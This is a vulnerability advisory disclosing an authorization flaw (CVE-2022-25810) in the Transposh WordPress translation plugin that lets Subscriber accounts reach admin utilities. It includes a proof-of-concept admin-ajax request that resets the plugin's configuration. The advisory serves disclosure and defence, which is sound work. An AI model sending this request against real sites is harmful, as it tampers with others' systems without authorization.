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Transposh <= 1.0.8.1 Improper Authorization Allowing Access to Administrative Utilities

Jul 22, 2022 · By Julien Ahrens

ADVISORY INFORMATION

CREDITS

This vulnerability was discovered and researched by Julien Ahrens from RCE Security.

VERSIONS AFFECTED

Transposh WordPress Translation 1.0.8.1 and below

INTRODUCTION

Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface.

(from the vendor’s homepage)

VULNERABILITY DETAILS

Transposh does not properly enforce authorization on functionalities available on the plugin’s “Utilities” page leading to unauthorized access for all user roles, including “Subscriber”.

Some of the affected functionality is: tp_backup - Initiate a new backup tp_reset - Reset the plugin’s configuration tp_cleanup - Delete automated translations tp_dedup - Delete duplicates tp_maint - Fix internal errors tp_translate_all - Trigger an auto-translation of all entries

PROOF OF CONCEPT

An exemplary request to reset the plugin’s configuration, send the following request using a “Subscriber” account:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 15
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [your cookies]
Connection: close

action=tp_reset

SOLUTION

None. Remove the plugin to prevent exploitation.

REPORT TIMELINE

  • 2022-02-21: Discovery of the vulnerability
  • 2022-02-21: Contacted the vendor via email
  • 2022-02-21: Vendor response
  • 2022-02-22: CVE requested from WPScan (CNA)
  • 2022-02-23: WPScan assigns CVE-2022-25810
  • 2022-05-22: Sent request for status update on the fix
  • 2022-05-24: Vendor states that there is no update planned so far
  • 2022-07-22: Public disclosure

REFERENCES

None